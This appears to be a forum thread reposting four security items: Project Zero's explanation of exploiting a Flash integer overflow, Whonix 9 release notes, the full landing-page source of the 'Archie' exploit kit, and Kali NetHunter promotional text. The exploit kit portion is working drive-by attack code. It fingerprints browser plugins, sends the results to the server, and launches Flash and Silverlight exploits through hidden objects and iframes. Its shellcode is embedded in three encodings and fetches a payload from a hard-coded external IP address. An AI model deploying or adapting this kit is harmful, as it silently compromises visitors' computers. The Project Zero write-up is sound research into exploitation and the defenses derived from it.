Nytro

Exploiting CVE-2014-0556 in Flash Posted by Chris Evans, Kidnapper of RIP A couple of weeks ago, Adobe released security bulletin APSB14-21, including 8 fixes for bugs reported by Project Zero. Full details of these bugs are now public in our bug tracker. Some of the more interesting ones are a double free in the RTMP protocol, or an integer overflow concatenating strings. Again, we’d like to thank Adobe for a response time well ahead of our standard 90-day disclosure deadline. The focus of this post is an integer overflow leading to a buffer overflow in an ActionScript API. Prelude Before we get started, though, it’s worth briefly noting why there is so much value in writing an exploit. Finding and eliminating bugs obviously improves software correctness, but writing exploits is always a significant learning opportunity. Throughout the history of the security industry, there’s a long track record of offense driving defense, leading to technologies such as stack canaries, NX support in processors and ASLR. Project Zero is not just a bug hunting initiative. We’re doing our part to continue the tradition of practical and public research of exploitation techniques -- and deriving defenses from them. For example, our glibc defensive patch was accepted as a follow-on from our glibc exploit. The case of this particular exploit starts with some irony on account of my overly hasty initial triage of the bug based on instincts which were later proved wrong by a more in-depth analysis of exploitation opportunities. In the bug history, you can see the claim “almost certainly 64-bit only” (wrong!) and then “does not work in Chrome 64-bit Linux”. We learned not to declare anything as unexploitable in our previous post about exploiting a subtle condition in glibc. Therefore, I had to declare shenanigans on myself and tackle the challenge: exploit this bug on Chrome 64-bit Linux. The bug The bug is triggered by calling BitmapData.copyPixelsToByteArray() with a reference to a ByteArray that has its position property set very large -- close to 2^32. This results in an integer overflow in 32-bit arithmetic. This occurs even on 64-bit because the relevant positions and length variables are (quite reasonably) stored in 32-bit variables. The code then believes that it can copy the pixels, starting to write them at position, and stay within the bounds of the buffer. Instead, a buffer overflow occurs. On 32-bit, the out-of-bounds write will be written before the start of the buffer because the pointer will wrap. On 64-bit, things are not as kind to the attacker. On a typical 64-bit Linux process setup with a 1MB buffer, the situation will look like this: … | buffer: 1MB | heap, libs, binary | !! The out-of-bounds write (in red) is at approximately buffer + 4GB. This will not wrap around the massive 64-bit address space, leading to a write way off in unmapped space. Insta-crash. The most obvious way to avoid the crash is to make the buffer massive, almost 4GB, leading to this situation: … | buffer: 4GB | !! heap, libs, binary | This is readily exploitable. However, 64-bit Chrome on Linux has a defensive measure where the amount of mapped address space is limited to 4GB. So the large buffer allocation will fail and prevent that particular attack. The heap groom We’re going to need a trick to exploit this without slamming into the 4GB address space limit. The breakthrough -- that did not occur to me before attempting to develop an exploit -- comes when we realize that we don’t need to have the address space contiguously mapped. The out-of-bounds write will happily still go ahead even if it “jumps over” a hole in the address space. By having a hole in the address space, perhaps we can usefully trigger the corruption with less than 4GB mapped. But how do we put this hole where we want it? Looking at how the Flash allocator works using the strace system tool, we see that very large allocations are serviced using unhinted mmap(). The Linux standard algorithm for servicing unhinted mmap() calls is to stack them adjacent and downwards in address space, as long as there isn’t a hole that can satisfy the request. So let’s see what happens when we allocate two 1GB chunks: … | buffer2: 1GB | buffer1: 1GB | heap, libs, binary | And the free the first one (a direct munmap() call is seen): … | buffer2: 1GB | 1GB hole | heap, libs, binary | And then allocate a 2GB buffer (too big to fit in the hole): … | buffer3: 2GB | buffer2: 1GB | 1GB hole | !! heap, libs, binary | Aha! We’ve managed to engineer a situation where we’ve never had more than 4GB of address space mapped at any given moment, and at the end, a corruption at buffer3 + 4GB will land right in a writable region: the heap. The corruption target Now that we have a reasonably controlled memory corruption situation, we need to pick something to corrupt. As is pretty standard in modern heap buffer overflow exploitation in a scripting environment, we’re going to try and clobber a length of an array-like object. If we clobber any such length to be larger, we will then be able to read and write arbitrary relative heap memory. Once we’ve achieved such a powerful primitive, it’s essentially game over. Successful exploitation is pretty much assured: defeat ASLR by reading the value of a vtable and then write a new vtable that causes execution redirection to a sequence of opcodes that we choose. We decide to corrupt a Vector.<uint> buffer object. This is a fairly standard, documented technique. I recommend Haifei Li’s excellent paper as background reading. Corrupting this buffer object is an obvious target because of three properties it possesses: The attacker can choose arbitrary sizes for these objects, meaning there is a lot of control over where in the heap they are placed relative to the pending heap corruption. The object starts with a length field, and corrupting it results in arbitrary heap relative read/write being exposed to script. The object is resilient to corruption in general. Aside from the length field, there is just a single pointer and trashing this pointer does not affect the ability to use the Vector, or otherwise cause noticeable stability issues during the course of exploitation. (We could even restore its value post-exploitation if we wished.) To proceed, we simply create many (32) Vector.<uint> objects, all with buffers sized at about 2MB. These typically end up being stacked downwards at the top of the 1GB hole. In reality, the 1GB and 2GB allocations end up being a little larger than expected under the covers. This means that the corruption address of buffer3 + 4GB actually ends up corrupting objects within the 1GB hole instead of after it. This is ideal because we can make sure that only our large buffers are corrupted. In terms of the actual data to write, we just use the default values in an empty BitmapData, which are 0xffffffff (white pixels with a full alpha channel). 0xffffffff is a plenty large enough length to proceed with the exploit! Proceeding onwards There is nothing particularly exciting or unique about how the exploit proceeds to demonstrate code execution, so we’ll skip the lengthy explanation here. I’ve made an attempt to fully comment the exploit source code, so if you want to continue to follow along I recommend you read the materials attached to the public bug. The only part I’d flag as mildly interesting -- because it differs from the previously quoted paper -- is how we get known data at a known heap address. We do it with a Vector.<uint> object again. Each of these is in fact a pair of objects: a script object, which is a fixed sized and contains metadata; and the buffer object which contains the arbitrary data prefixed by the length. The script object forms a distinct pattern in memory and also contains a pointer to the buffer object. By locating anyVector.<uint> script object, we can then use a raw memory edit to change a property of the object. This property change will be visible to ActionScript so we then know which handle corresponds to a buffer at which raw address. Conclusions, and turning what we’ve learned into generic defenses Various technologies would have changed the exploitation landscape here, and can now be investigated in more detail: Randomized placement of large memory chunks. Non-deterministic placement of large allocations would have broken the heap grooming aspect of the exploit. Isolation of Vector.<uint> buffers. As we’ve seen, corruption of these buffers is an extremely dangerous condition. Some of the most recent advances in memory corruption defenses have been “isolated” or “partitioned” heaps. These technologies seem applicable here. (They would need to be applied not just to the Vector buffers, but to the general case: partitioning off read/write objects where the attacker controls both the size and the content.) Given the open-source nature of the ActionScript engine, and the open-source nature of some potentially helpful technologies, a prototype of a generic defense is now on the Project Zero TODO list! Sursa: Project Zero: Exploiting CVE-2014-0556 in Flash

Whonix Anonymous Operating System Version 9 Released! Posted on September 19, 2014 by Patrick Schleizer Whonix is an operating system focused on anonymity, privacy and security. It’s based on the Tor anonymity network, Debian GNU/Linux and security by isolation. DNS leaks are impossible, and not even malware with root privileges can find out the user’s real IP. Whonix consists of two parts: One solely runs Tor and acts as a gateway, which we call Whonix-Gateway. The other, which we call Whonix-Workstation, is on a completely isolated network. Only connections through Tor are possible. Download Whonix for VirtualBox https://www.whonix.org/wiki/Download Download Whonix for KVM / QEMU / Qubes This is only useful if you have a testers mindset! Instructions for KVM: https://www.whonix.org/wiki/KVM Instructions for QEMU: https://www.whonix.org/wiki/QEMU Instructions for Qubes: https://www.whonix.org/wiki/Qubes Call for Help – If you know shell scripting (/bin/bash) and linux sysadmin, please join us! There are plenty of ways to make Whonix safer. – We are also looking for download mirros. – For https://www.whonix.org we need some help with css, html, mediawiki, wordpress, webdesign. – Contribute: https://www.whonix.org/wiki/Contribute – Donate: https://www.whonix.org/wiki/Donate If you want to upgrade existing Whonix version using Whonix’s APT repository Upgrading Whonix 8 to Whonix 9 – You cannot upgrade using apt-get dist-upgrade or you will break the packaging system! – You can upgrade using these instructions: https://www.whonix.org/wiki/Upgrading_Whonix_8_to_Whonix_9 If you want to upgrade existing Whonix version from source code See https://www.whonix.org/wiki/Dev/BuildDocumentation. If you want to build images from source code See https://www.whonix.org/wiki/Dev/BuildDocumentation. Physical Isolation users See https://www.whonix.org/wiki/Dev/Build_Documentation/Physical_Isolation. Changelog between Whonix 8 and Whonix 9 – Modding Whonix, extending Whonix, such as installi ng a different desktop environment is now much simpler, because Whonix has been split into smaller packages https://github.com/Whonix/Whonix/issues/40. Therefore also understanding Whonix internals got simpler. – added testers-only libvirt (kvm, qemu) support – providing xz archives with sparse .qcow2 images – added experimental Qubes support – A new feature for VPN lovers has been added. VPN’s can now also be easily installed on Whonix-Gateway. Previously, many VPN users who wanted to route Tor through a VPN (user -> VPN -> Tor), preferred to install VPNs on the host and had little different choice. Some in conjunction with VPN-Firewall, to avoid connecting without the VPN, if the VPN (software) breaks down. Physical isolation users could not easily use a VPN on Whonix-Gateway and naturally had no host. VPN-Firewall features have been added to Whonix-Gateway’s firewall in. network-manager-kde and OpenVPN is now being installed by default to aid users who want to hide Tor and Whonix from their ISP. – Lots of AppArmor profiles are now installed from Whonix’s APT Repository, thanks to troubadoour for creating them! – fixed Tor restart bug when updated by apt-get – updated Debian packages including Heartbleed OpenSSL bug fix – VirtualBox version: no longer recommending to use VirtualBox’s snapshot feature in VirtualBox’s VM import text due to data loss bug in VirtualBox – Breaking change: Changed Whonix-Gateway internal IP address to 10.152.152.10 and netmask to 255.255.192.0 to avoid conflicts, such as with real networks when using physical isolation and to aid KVM users. – Breaking change: Changed Whonix-Workstation internal IP address to 10.152.152.11, netmask to 255.255.192.0 and gateway to 10.152.152.10 to avoid conflicts, such as with real networks when using physical isolation and to aid KVM users. – use logrotate for bootclockrandomization, sdwdate, control-port-filter, timesanitycheck – fixed timezone question during upgrade for Whonix build version 9 and above – encrypt swapfile on boot with random password, create swap file on boot using init script instead of postinst script (package: swap-file-creator) – Whonix-Gateway firewall: reject invalid outgoing packages – added spice-vdagent to anon-shared-packages-recommended for better kvm support – ram adjusted desktop starter (package: rads): fixed lightdm (/usr/sbin/…) auto detection – Physical Isolation: automated ‘Install Basic Packages’ (‘sudo apt-get install $(grep -vE “^\s*#” grml_packages | tr “\n” ” “)’) build step – Changed keyserver (suggested by tempest @ https://www.whonix.org/forum/index.php/topic,140.0.html) from hkp://2eghzlv2wwcq7u7y.onion to hkp://qdigse2yzvuglcix.onion as used by torbirdy and https://raw.github.com/ioerror/torbirdy/master/gpg.conf. – Whonix-Gateway: Re-enabled AppArmor for System Tor. Removed workaround for http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=732578 (USE_AA_EXEC=”no”) by removing Whonix’s displaced (config-package-dev) /etc/default/tor since that bug has been fixed upstream. – bootclockrandomization: randomizing milliseconds (anonymous, unlink from the host) – Whonix-Workstation: added password manager fpm2 as per https://www.whonix.org/forum/index.php/topic,187.15.html – removed –onion feature from update-torbrowser and its man page because torproject took its .onion domain permanently offline (https://trac.torproject.org/projects/tor/ticket/11567) thanks got z (https://www.whonix.org/forum/index.php?action=profile;u=94) for the report (https://www.whonix.org/forum/index.php/topic,277.msg1827.html#msg1827) – help_check_tor_bootstrap.py: – suggestions by Damian Johnson from — https://lists.torproject.org/pipermail/tor-dev/2014-May/006799.html — https://lists.torproject.org/pipermail/tor-dev/2014-May/006804.html – troubadour advised on implementation https://www.whonix.org/forum/index.php/topic,278.0 – controller.authenticate(“password”) isn’t required, controller.authenticate() works – more robust method to parse Tor bootstrap percent – removed obsolete whonix_gateway/usr/bin/armwrapper (user “user” is now member of group “debian-tor”, so no longer required to start arm as user “debian-tor”) – removed backgroundd, was replaced by gateway first run notice https://www.whonix.org/forum/index.php?topic=207 – added machine readable copyright files – better output, better formatting, clickable links, thanks to https://github.com/troubadoour for working on msgcollector – kde-kgpg-tweaks: added gnupg-agent to dependencies because we’re using it in the config and because otherwise kgpg would complain about using use-agent while having no agent installed – Refined whonixlock.png. Thanks to nanohard (https://www.whonix.org/forum/index.php?action=profile;u=248) for the edit! – added apt-transport-https to anon-shared-packages-dependencies – added openvpn to anon-shared-packages-recommended – added network-manager-kde to anon-shared-desktop-kde – changed displace extension from .apparmor to .anondist, thanks to [config-package-dev] How to configure displace extension? – control-port-filter: Added “lie feature”, i.e. when getting asked “GETINFO net/listeners/socks” answer ‘250-net/listeners/socks=”127.0.0.1:9150?‘; configurable by CONTROL_PORT_FILTER_LIMIT_GETINFO_NET_LISTENERS_SOCKS variable. Enabled by default. – control-port-filter: Limit maximum accepted command string length to 128 (configurable) as done by Tails (https://mailman.boum.org/pipermail/tails-dev/2014-February/005041.html). Thanks to HulaHoop (https://www.whonix.org/forum/index.php?action=profile;u=87) for suggesting this (https://www.whonix.org/forum/index.php/topic,342.0.html). – control-port-filter: added GETINFO status/circuit-established to whitelist – control-port-filter: replaced netcat-traditional dependency with netcat-openbsd as per https://www.whonix.org/forum/index.php/topic,444.0.html – sdwdate: implemented options –no-move-forward and –no-move-backwards (disabled by default) – sdwdate implemented option to update hardware clock –systohc (disabled by default) – sdwdate: no more clock jumps. Gradually adjust clock as NTP does. Sclockadj has been written by Jason Ayala (Jason@JasonAyala.com) (@JasonJAyalaP) – https://github.com/Whonix/Whonix/issues/169 – Sclockadj helps sdwdate gradually adjusting the clock instead of producing clock jumps, which can confuse Tor, i2p, servers, logs and more. – It can add/subtract any amount of nanoseconds. – It supports waiting an interval of min/max nanoseconds between iterations, which will be randomized if min/max differs. – It supports slewing the time for min/max nanoseconds, which will be randomized if min/max differs. – It supports to wait before its first iteration. – It can run either verbose or quite. – It supports either really changing the time or running in debug mode. – sdwdate: use median instead of average as suggested in https://www.whonix.org/forum/index.php/topic,267.0.html – whonixcheck: don’t check just if Tor is fully bootstrapped, also check if Tor was actually able to create a circuit. – whonixcheck: increased Tor socks port reachability test timeout from 5 to 10 as per https://www.whonix.org/forum/index.php/topic,129.0.html – whonixcheck: fixed apt-get –simulate parsing code, whonixcheck can now also report how many packages could be upgraded when using non-English languages – whonixcheck: There is no general “Whonix Debian Version” anymore, because Whonix has been split into multiple packages that now all have their own version number. What whonixcheck can figure out is if the whonixcheck version is up to date and if there is a Whonix news file for that whonixcheck version. There is currently no notification for packages by the Whonix team in whonixcheck for packages other than whonixcheck for users who do not use Whonix’s APT repository. – whonixcheck: check_virtualizer, no longer warn if Qubes (https://www.whonix.org/wiki/Qubes) is detected; improved output, improved html tags – anon-shared-build-apt-sources-tpo: updated The Tor Project’s apt signing key as per https://trac.torproject.org/projects/tor/ticket/12994#comment:9 – whonixcheck: refactoring, use /usr/lib/msgcollector/striphtml rather than sed in usr/lib/whonixcheck/check_tor_socks_or_trans_port – added VPN_FIREWALL feature to Whonix-Gateway’s firewall https://www.whonix.org/blog/testers-wanted-vpn-firewall – https://www.whonix.org/wiki/Next#Tunnel_Tor_through_VPN – Whonix-Firewall: make variables overwrite able by /etc/whonix_firewall.d config folder – Whonix-Firewall: renamed variable NON_TOR_WHONIXG to NON_TOR_GATEWAY – added empty Whonix-Custom-Workstation – Added extra log file /var/run/tor/log that won’t survive reboot. (Existing log file /var/log/tor/log that survives reboot will continue to exist.) And added necessary AppArmor rules. Thanks to @troubadoour who figured out the AppArmor rules (https://www.whonix.org/forum/index.php/topic,372.0/topicseen.html). This is useful, so whonixcheck can in future grep the log for clock specific warnings (https://github.com/Whonix/Whonix/issues/244). – sdwdate: log time/date before and after running sclockadj – swap-file-creator: timeout when reading from /dev/random – when whonixsetup is automatically started, support automatically maximizing window in other terminals than konsole – disable TCP-Timestamps (implemented #247) – New alternative option name –install-to-root. This is an alternative to –bare-metal. Since some users liked to use “–bare-metal in a VM”, which sounds like an oxymoron. Now we can talk about “using –install-to-root in a VM”. – Drop all incoming ICMP traffic by default. All incoming connections are dropped by default anyway, but should a user allow incoming ports (such as for incoming SSH or FlashProxy), ICMP should still be dropped to filter for example ICMP time stamp requests. – Removed geoclue-ubuntu-geoip and geoclue from anon-banned-packages because those are not evil by definition, those are only providing an API. Not allowing them to be installed would not allow users installing gnome-desktop-environment. – vbox-disable-timesync: added compatibility with Debian jessie – whonix-gw-firewall: Added 10.0.2.2/24 to NON_TOR_GATEWAY and LOCAL_NET to prevent spamming syslog with: host dhclient: DHCPREQUEST on eth0 to 10.0.2.2 port 67 | host dhclient: send_packet: Operation not permitted – rads: made compatible with systemd / debian testing by adding tty1 autologin drop-in config – tb-updater: update tbb version url as per https://trac.torproject.org/projects/tor/ticket/8940#comment:21 – tb-updater: compatibility with new recommended tbb versions format as per https://trac.torproject.org/projects/tor/ticket/8940#comment:28 – tb-updater: Whonix’s Tor Browser updater: download from torproject’s clearnet domain instead of torproject’s onion domain by default, because the onion domain is too slow/can’t handle the load. Downloading form the onion domain is possible using –onion. – tb-updater: break when endless data attack is detected (max file size 100 mb for torbrowser, 1 mb for other files) – anon-ws-disable-stacked-tor: Set environment variable “export TOR_SKIP_CONTROLPORTTEST=1? to skip TorButton control port verification as per https://trac.torproject.org/projects/tor/ticket/13079. Will take effect as soon as The Tor Project merges the TOR_SKIP_CONTROLPORTTEST patch. – sdwdate: curl, use –head rather than –include as per https://github.com/Whonix/Whonix/issues/315 – sdwdate: Breaking change: pool variable names were renamed. SDWDATE_POOL_PAL, SDWDATE_POOL_NEUTRAL, are now called SDWDATE_POOL_ONE, SDWDATE_POOL_TWO, SDWDATE_POOL_THREE. If you were using custom pools, you should update your config according to the new variable names. As per https://github.com/Whonix/Whonix/issues/310. – sdwdate: no longer using pal/neutral/foe pool design. Using three pools instead, that only contain servers of the type “pal”. As per https://github.com/Whonix/Whonix/issues/310. Thanks to https://github.com/HulaHoopWhonix for suggesting it. – uwt: all temporary files are now in /tmp/uwt – anon-base-files /usr/lib/pre.bsh: all temporary files are now in /tmp/prepost – whonixcheck / sdwdate / timesync / tb-updater / whonix-repository / control-port-filter: fix, clean up temporary files/directory – whonixcheck / timesync / update-torbrowser: correct exit codes on signal sigterm and sigint – whonixcheck / timesync: output – whonix-gw-kde-desktop-conf: no longer use custom wallpaper (mountain mist) for Whonix-Gateway. Only use wallpapers from Debian repository for security reasons. (https://github.com/Whonix/Whonix/issues/318) Will now default to KDE’s default wallpaper. (Thanks to https://github.com/HulaHoopWhonix for suggesting it) – build script: Added deletion of /boot/grub/device.map for VM builds during build process to prevent hard drive serial of build machine leaking into image. System also boots without /boot/grub/device.map. https://github.com/Whonix/Whonix/issues/249 – build script: verifiable builds: now using fixed disk identifiers to make verification easier – build script: updated frozen repository – build script: improved error handling, when error is detected, wait until builder presses enter before cleanup and exit to make it simpler to read error messages when building in cli – build script: whonix_build now acts differently for –clean option depending on –virtualbox, –qcow2 and –bare-metal – build script: removed Whonix’s grml-debootstrap fork, because Whonix’s patches were merged upstream – build script: Renamed “img” to “raw”, because “img” was a poor name for raw images. – build script: made variables overrideable by build config – build script: set DEBUILD_LINTIAN_OPTS to “–info –display-info –show-overrides –fail-on-warnings”, to show more verbose lintian output and to break the build should lintian find an error such as a syntax error in a bash script – build script: Workaround for a bug in kpartx, which fails to delete the loop device when using very long file names as per https://www.redhat.com/archives/dm-devel/2014-July/msg00053.html – build script: implemented –testing-frozen-sources, installs from Debian testing frozen (snapshot.debian.org) sources. This is useful for compatibility test of Whonix’s Debian packages with Debian testing. There is no official support for Debian testing. – build script: Use SAS rather than SATA as virtual hard disk controller for VirtualBox hdds to work around a VirtualBox upstream bug that causes filesystem corruption on high disk I/O (https://www.virtualbox.org/ticket/10031). Thanks to @neurodrive for the bug report (https://github.com/Whonix/Whonix/issues/274). – whonix-repository tool, anon-shared-build-apt-sources-tpo, anon-apt-sources-list: use wheezy rather than stable as per https://www.whonix.org/forum/index.php/topic,445.msg3640.html – build script: makefile: added new feature “make deb-chl-bumpup” – Bump upstream version number in debian/changelog. – build script: added support for –vram, –vmram, –vmsize switches – build script: added –file-system (var: whonix_build_file_system) – build script: added –hostname (var: whonix_build_hostname) – build script: added –os-password (var: whonix_build_os_password) – build script: added –debopt (var: whonix_build_debopt) Sursa: https://www.whonix.org/blog/whonix-anonymous-9-released

*** @PhysicalDrive0 *** 2 <html> 3 <head> 4 <script type="text/javascript" src="pluginDet.js"></script> 5 <style type="text/css"> 6 html, body { height: 100%; overflow: auto; } 7 body { padding: 0; margin: 0; } 8 #form1 { height: 99%; } 9 #silverlightControlHost { text-align:center; } 10 </style> 11 <meta http-equiv="X-UA-Compatible" content="IE=edge" /> 12 </head> 13 <body> 14 </body> 15 <script> 16 var payload = "FCE8A20000006089E531D2648B52308B520C8B52148B7228528B52108B423C8B44027885C0744801D0508B48188B582001D3E33A498B348B01D631FF31C0AC84C07407C1CF0D01C7EBF43B7D2475E3588B582401D3668B0C4B8B581C01D38B048B01D0894424205A61595A51FFE0585A8B12EBA16A40680010000068000400006A006854CAAF91FFD5C389C8C1E902F2A588C180E103F2A4C331C0505051535068361A2F70FFD5C35D686F6E00006875726C6D54688E4E0EECFFD5E8B4FFFFFF505068040100006833CA8A5BFFD5508B74240401C6B065880646B02E880646B064880646B06C880646B06C880646B000 8806EB228B4C24088B1C2451E898FFFFFF688E4E0EECFFD568983A000068B0492DDBFFD5EB21E8D9FFFFFF687474703A2F2F3134342E37362E33362E36373A383038332F6464005858585858C3"; 17 var payload2 = "0x0018A164,0xC0830000,0x81208b08,0xFFF830C4,0xA2E8FCFF,0x60000000,0xD231E589,0x30528B64,0x8B0C528B,0x728B1452,0x528B5228,0x3C428B10,0x7802448B,0x4874C085,0x8B50D001,0x588B1848,0xE3D30120,0x348B493A,0x31D6018B,0xACC031FF,0x0774C084,0x010DCFC1,0x3BF4EBC7,0xE375247D,0x24588B58,0x8B66D301,0x588B4B0C,0x8BD3011C,0xD0018B04,0x20244489,0x5A59615A,0x58E0FF51,0xEB128B5A,0x68406AA1,0x00001000,0x00040068,0x68006A00,0x91AFCA54,0x89C3D5FF,0x02E9C1C8,0xC188A5F2,0xF203E180,0xC031C3A4,0x5351 5050,0x1A366850,0xD5FF702F,0x6F685DC3,0x6800006E,0x6D6C7275,0x4E8E6854,0xD5FFEC0E,0xFFFFB4E8,0x685050FF,0x00000104,0x8ACA3368,0x50D5FF5B,0x0424748B,0x65B0C601,0xB0460688,0x4606882E,0x068864B0,0x886CB046,0x6CB04606,0xB0460688,0xEB068800,0x244C8B22,0x241C8B08,0xFF98E851,0x8E68FFFF,0xFFEC0E4E,0x3A9868D5,0xB0680000,0xFFDB2D49,0xE821EBD5,0xFFFFFFD9,0x70747468,0x312F2F3A,0x372E3434,0x36332E36,0x3A37362E,0x33383038,0x0064642F,0x58585858,0x9090C358"; 18 19 var payload3 = "/OiiAAAAYInlMdJki1Iwi1IMi1IUi3IoUotSEItCPItEAniFwHRIAdBQi0gYi1ggAdPjOkmLNIsB1jH/McCshMB0B8HPDQHH6/Q7fSR141iLWCQB02aLDEuLWBwB04sEiwHQiUQkIFphWVpR/+BYWosS66FqQGgAEAAAaAAEAABqAGhUyq+R/9XDicjB6QLypYjBgOED8qTDMcBQUFFTUGg2Gi9w/9XDXWhvbgAAaHVybG1UaI5ODuz/1ei0////UFBoBAEAAGgzyopb/9VQi3QkBAHGsGWIBkawLogGRrBkiAZGsGyIBkawbIgGRrAAiAbrIotMJAiLHCRR6Jj///9ojk4O7P/VaJg6AABosEkt2//V6yHo2f///2h0dHA6Ly8xNDQuNzYuMzYuNjc6ODA4My9kZABYWFhYWMOQkJA="; 20 21 function spanAppend(val) 22 { 23 var a = document.createElement("span"); 24 document.body.appendChild(a); 25 a.innerHTML = val; 26 } 27 28 function flashLow() 29 { 30 spanAppend('<object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab" width="1" height="1" /><param name="movie" value="flashlow.swf" /><param name="allowScriptAccess" value="always" /><param name="FlashVars" value="id='+payload+'" /><param name="Play" valu e="true" /></object>'); 31 } 32 33 function flashHigh() 34 { 35 spanAppend('<object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" allowScriptAccess=always width="1" height="1" id="23kjsdf"><param name="movie" value="flashhigh.swf" /><param name="FlashVars" value="sh='+payload2+'" /></object>'); 36 } 37 38 function silverHigh() 39 { 40 spanAppend('<form id="form1" runat="server" ><div id="silverlightControlHost"><object data="data:application/x-silverlight-2," type="application/x-silverlight-2" width="100%" height="100%"><param name="source" value="silverapp1.xap"/><param name="background" value="white" /><param name="InitParams" value="payload='+p ayload3+'" /></object></div></form>'); 41 } 42 43 function fV(val) 44 { 45 return PluginDetect.isMinVersion("Flash", val); 46 } 47 48 function sV(val) 49 { 50 return PluginDetect.isMinVersion("Silverlight", val); 51 } 52 53 function ie(turl) 54 { 55 w = "frameBorder"; 56 r = "width"; 57 q = "iframe"; 58 s = "height"; 59 z = "createElement"; 60 c = "src"; 61 g = '10'; 62 hh = turl; 63 ha = document.createElement(q); 64 ha[w] = '0'; 65 ha[r] = g; 66 ha[s] = g; 67 b = ha[c] = hh; 68 document.body.appendChild(ha); 69 return; 70 } 71 72 function ieVerOk() 73 { 74 t = "test"; 75 try { 76 j = window.navigator.userAgent.toLowerCase(); 77 x = /MSIE[\/\s]\d+/i [t](j); 78 m = /Win64;/i [t](j); 79 z = /Trident\/(\d)/i [t](j) ? parseInt(RegExp.$1) : null; 80 if (!m && x && z && (z == 6 || z == 5 || z == 4)) { 81 return true 82 } 83 } catch (exc) {} 84 return false 85 } 86 87 function ieVer() { 88 t = "test"; 89 try { 90 if (window.msCrypto) 91 return 11; 92 if (window.atob) 93 return 10; 94 if (document.addEventListener) 95 return 9; 96 if (window.JSON && document.querySelector) 97 return 8; 98 if (window.XMLHttpRequest) 99 return 7; 100 } catch (exc) { } 101 return 0 102 } 103 104 function arch() { 105 try 106 { 107 var xmlDoc = new ActiveXObject("Microsoft.XMLDOM"); 108 xmlDoc.async = false; 109 xmlDoc.loadXML('<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "res://c:\\Program Files (x86)\\Internet Explorer\\iexplore.exe">'); 110 if (xmlDoc.parseError.errorCode == -2147023083) 111 { 112 return 64; 113 } 114 } 115 catch (ex) 116 { 117 return 0; 118 } 119 return 32; 120 } 121 122 var flashVer = PluginDetect.getVersion("Flash"); 123 var Branch = 0; 124 if (flashVer == "11,0,1,152" 125 || flashVer == "11,1,102,55" || flashVer == "11,1,102,62" 126 || flashVer == "11,1,102,63" || flashVer == "11,2,202,228" 127 || flashVer == "11,2,202,233" || flashVer == "11,2,202,235") 128 Branch = 1; 129 130 131 if (fV("11,3,300,257") == 1 && (fV("11,7,700,276") == -0.1)) 132 Branch = 2; 133 if (fV("11,8,800,94") == 1 && (fV("13,0,0,183") == -0.1)) 134 Branch = 2; 135 136 var silverVer = PluginDetect.getVersion("Silverlight"); 137 var silverBranch = 0; 138 if (sV("4,0,50401,0") == 1 && sV("5,1,10412,0") == -0.1) 139 silverBranch = 1; 140 141 142 var adoberVer = PluginDetect.getVersion("AdobeReader"); 143 var adoberBranch = 0; 144 145 var archSys = arch(); 146 var ieVersion = 0; 147 if (archSys != 0) 148 ieVersion = ieVer(); 149 150 var sendstr = ""; 151 sendstr += encodeURI("dump=" + flashVer + "|" + silverVer + "|" + adoberVer + "|" + archSys + "|" + ieVersion + "|" + Branch); 152 sendstr += encodeURI("&ua=" + window.navigator.userAgent); 153 sendstr += encodeURI("&ref=" + document.referrer); 154 155 if (Branch == 0 && silverBranch == 1) 156 Branch = 3; 157 if (Branch == 0 && archSys != 0) 158 Branch = 4; 159 160 try 161 { 162 var xmlhttp = new XMLHttpRequest(); 163 xmlhttp.open("POST", "/foo", false); 164 xmlhttp.send(sendstr); 165 } 166 catch (exc){} 167 168 169 switch (Branch) 170 { 171 //2014-0497 172 case 1: 173 flashLow(); 174 break; 175 176 //2014-0515 177 case 2: 178 flashHigh(); 179 break; 180 181 case 3: 182 silverHigh(); 183 break; 184 185 case 0: 186 case 4: 187 //var avar = archSys == 32 ? 0 : 1; 188 //ie("/phazar.html?a="+avar); 189 190 ie("/iebasic.html"); 191 break; 192 } 193 194 195 </script> 196 </html> Sursa: Archie Exploit Kit - Pastebin.com

Kali Linux Nexus NetHunter The Kali Linux NetHunter project is the first Open Source Android penetration testing platform for Nexus devices, created as a joint effort between the Kali community member “BinkyBear” and Offensive Security. NetHunter supports Wireless 802.11 frame injection, one-click MANA Evil Access Point setups, HID keyboard (Teensy like attacks), as well as BadUSB MITM attacks – and is built upon the sturdy shoulders of the Kali Linux distribution and toolsets. Whether you have a Nexus 5, Nexus 7, or Nexus 10, we’ve got you covered. Our freely downloadable images come with easy to follow installation and setup instructions to get you up and running in no time at all. 802.11 Wireless Injection and AP mode support with multiple supported USB wifi cards. Capable of running USB HID Keyboard attacks, much like the Teensy device is able to do. Supports BadUSB MITM attacks. Plug in your Nethunter to a victim PC, and have your traffic relayed though it. Contains a full Kali Linux toolset, with many tools available via a simple menu system. USB Y-cable support in the Nethunter kernel – use your OTG cable while still charging your Nexus device! Software Defined Radio support. Use Kali Nethunter with your HackRF to explore the wireless radio space. Configure and build your NetHunter image from scratch. It’s completely open-source. The Advanced HID keyboard is like a Teensy device but you can SSH to it over 3G. The BadUSB attack is jaw dropping. Connect NetHunter to a USB port and become the default gateway. Open Source, Based on Kali Linux As an experienced penetration tester or security professional, it is imperative that you trust the tools you work with. One way to achieve this trust is by having full transparency and familiarity with the code you are running. You are free to read, investigate, and change our build scripts for the NetHunter images. All of this goodness from the house of Offensive Security and developers of Kali Linux! HID Keyboard and ‘BadUSB’ Attacks Our NetHunter images support programmable HID keyboard attacks, (a-la-teensy), as well as “BadUSB” network attacks, allowing an attacker to easily MITM an unsuspecting target by simply connecting their device to a computer USB port. In addition to these built in features, we’ve got a whole set of native Kali Linux tools available for use, many of which are configurable through a simple web interface. Configuration Management The Kali NetHunter configuration interface allows you to easily configure complex configuration files through a local web interface. This feature, together with a custom kernel that supports 802.11 wireless injection and preconfigured connect back VPN services, make the NetHunter a formidable network security tool or discrete drop box – with Kali Linux at the tip of your fingers wherever you are! DownloadsSetup Guide Running the Evil AP “Mana” Toolkit by Sensepost is as simple as clicking a single button. Although running on Android, I love how you can just VNC into Kali, and use all the tools you are used to. I switched on my NetHunter and was immediately surrounded by beautiful women, it was amazing. Sursa: http://www.kali.org/kali-linux-nethunter/

Parerea mea: o alta gaura neagra pentru banii publici.

